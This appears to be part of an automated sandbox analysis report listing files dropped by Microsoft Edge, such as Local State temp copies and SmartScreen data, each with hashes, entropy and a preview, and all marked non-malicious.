yLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24b47.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089523937449535
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kCTKKGf4OvtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynLt5b7VLyMV/YoskFoz
MD5:	14FA54F7FEC3323E37823EFC2C4F0D18
SHA1:	8A4F3777578AAC75B9AF70B696CD1ED31FEAA66F
SHA-256:	EEA644F2C2DE8747D94B65CC6E3E95429D2AC333056F80BF7F482A9DBE8982FF
SHA-512:	7F38ED0A4FC42DAEF07518C2841BFDD26CC17AB44E65361A327AEF759AA716BED0C63318330595EF31150F7B25E3D342381252904F5D127B7BD7DCDBC5FF1D22
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24d4b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089523937449535
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kCTKKGf4OvtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynLt5b7VLyMV/YoskFoz
MD5:	14FA54F7FEC3323E37823EFC2C4F0D18
SHA1:	8A4F3777578AAC75B9AF70B696CD1ED31FEAA66F
SHA-256:	EEA644F2C2DE8747D94B65CC6E3E95429D2AC333056F80BF7F482A9DBE8982FF
SHA-512:	7F38ED0A4FC42DAEF07518C2841BFDD26CC17AB44E65361A327AEF759AA716BED0C63318330595EF31150F7B25E3D342381252904F5D127B7BD7DCDBC5FF1D22
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF273bf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089523937449535
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kCTKKGf4OvtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynLt5b7VLyMV/YoskFoz
MD5:	14FA54F7FEC3323E37823EFC2C4F0D18
SHA1:	8A4F3777578AAC75B9AF70B696CD1ED31FEAA66F
SHA-256:	EEA644F2C2DE8747D94B65CC6E3E95429D2AC333056F80BF7F482A9DBE8982FF
SHA-512:	7F38ED0A4FC42DAEF07518C2841BFDD26CC17AB44E65361A327AEF759AA716BED0C63318330595EF31150F7B25E3D342381252904F5D127B7BD7DCDBC5FF1D22
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2cec0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089523937449535
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kCTKKGf4OvtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynLt5b7VLyMV/YoskFoz
MD5:	14FA54F7FEC3323E37823EFC2C4F0D18
SHA1:	8A4F3777578AAC75B9AF70B696CD1ED31FEAA66F
SHA-256:	EEA644F2C2DE8747D94B65CC6E3E95429D2AC333056F80BF7F482A9DBE8982FF
SHA-512:	7F38ED0A4FC42DAEF07518C2841BFDD26CC17AB44E65361A327AEF759AA716BED0C63318330595EF31150F7B25E3D342381252904F5D127B7BD7DCDBC5FF1D22
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35dff.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089523937449535
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kCTKKGf4OvtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynLt5b7VLyMV/YoskFoz
MD5:	14FA54F7FEC3323E37823EFC2C4F0D18
SHA1:	8A4F3777578AAC75B9AF70B696CD1ED31FEAA66F
SHA-256:	EEA644F2C2DE8747D94B65CC6E3E95429D2AC333056F80BF7F482A9DBE8982FF
SHA-512:	7F38ED0A4FC42DAEF07518C2841BFDD26CC17AB44E65361A327AEF759AA716BED0C63318330595EF31150F7B25E3D342381252904F5D127B7BD7DCDBC5FF1D22
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c228.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089523937449535
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kCTKKGf4OvtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynLt5b7VLyMV/YoskFoz
MD5:	14FA54F7FEC3323E37823EFC2C4F0D18
SHA1:	8A4F3777578AAC75B9AF70B696CD1ED31FEAA66F
SHA-256:	EEA644F2C2DE8747D94B65CC6E3E95429D2AC333056F80BF7F482A9DBE8982FF
SHA-512:	7F38ED0A4FC42DAEF07518C2841BFDD26CC17AB44E65361A327AEF759AA716BED0C63318330595EF31150F7B25E3D342381252904F5D127B7BD7DCDBC5FF1D22
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.018771593779724
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXihDV:YWLSGTt1o9LuLgfGBPAzkVj/T8lIDV
MD5:	AAA979B3B55875B41D6C026BE71FB40D
SHA1:	814E2EBAD2FE5CA104250D1EDF014956FC929A58
